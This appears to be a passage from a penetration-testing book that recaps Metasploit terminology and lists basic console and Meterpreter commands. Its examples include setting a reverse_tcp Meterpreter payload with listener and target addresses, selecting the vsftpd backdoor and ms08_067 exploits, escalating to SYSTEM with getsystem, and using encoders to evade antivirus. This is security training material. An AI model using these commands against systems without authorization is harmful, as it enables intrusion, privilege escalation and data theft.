Conducting a penetration test with Metasploit

After setting up Kali Linux, we are now ready to perform our first penetration test with Metasploit. However, before we start the test, let's recall some of the essential functions and terminologies used in the Metasploit framework.

Recalling the basics of Metasploit

After we run Metasploit, we can list all the useful commands available in the framework by typing help or ? in the Metasploit console. Let's recall the basic terms used in Metasploit, which are as follows:

• Exploits: This is a piece of code that, when executed, will exploit the vulnerability of the target.
• Payload: This is a piece of code that runs at the target after successful exploitation. It defines the actions we want to perform on the target system.
• Auxiliary: These are modules that provide additional functionalities such as scanning, fuzzing, sniffing, and much more.
• Encoders: Encoders are used to obfuscate modules to avoid detection by a protection mechanism such as an antivirus or a firewall.
• Meterpreter: Meterpreter is a payload that uses in-memory DLL injection stagers. It provides a variety of functions to perform at the target, which makes it a popular choice.

Now, let's recall some of the basic commands of Metasploit that we will use in this chapter. Let's see what they are supposed to do:

Command	Usage	Example
use [Auxiliary/Exploit/Payload/Encoder]	To select a particular module to start working with	msf>use exploit/unix/ftp/vsftpd_234_backdoor msf>use auxiliary/scanner/portscan/tcp
show [exploits/payloads/encoder/auxiliary/options]	To see the list of available modules of a particular type	msf>show payloads msf> show options
set [options/payload]	To set a value to a particular object	msf>set payload windows/meterpreter/reverse_tcp msf>set LHOST 192.168.10.118 msf> set RHOST 192.168.10.112 msf> set LPORT 4444 msf> set RPORT 8080
setg [options/payload]	To set a value to a particular object globally, so the values do not change when a module is switched on	msf>setg RHOST 192.168.10.112
run	To launch an auxiliary module after all the required options are set	msf>run
exploit	To launch an exploit	msf>exploit
back	To unselect a module and move back	msf(ms08_067_netapi)>back msf>
Info	To list the information related to a particular exploit/module/auxiliary	msf>info exploit/windows/smb/ms08_067_netapi msf(ms08_067_netapi)>info
Search	To find a particular module	msf>search hfs
check	To check whether a particular target is vulnerable to the exploit or not	msf>check
Sessions	To list the available sessions	msf>sessions [session number]

Let's have a look at the basic Meterpreter commands as well:

Meterpreter commands	Usage	Example
sysinfo	To list system information of the compromised host	meterpreter>sysinfo
ifconfig	To list the network interfaces on the compromised host	meterpreter>ifconfig meterpreter>ipconfig (Windows)
arp	List of IP and MAC addresses of hosts connected to the target	meterpreter>arp
background	To send an active session to the background	meterpreter>background
shell	To drop a cmd shell on the target	meterpreter>shell
getuid	To get the current user's details	meterpreter>getuid
getsystem	To escalate privileges and gain SYSTEM access	meterpreter>getsystem
getpid	To gain the process ID of the meterpreter access	meterpreter>getpid
ps	To list all the processes running on the target	meterpreter>ps

Since we have now recalled the basics of Metasploit commands, let's have a look at the benefits of using Metasploit over traditional tools and scripts in the next section.

If you are using Metasploit for the very first time, refer to https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/ for more information on basic commands.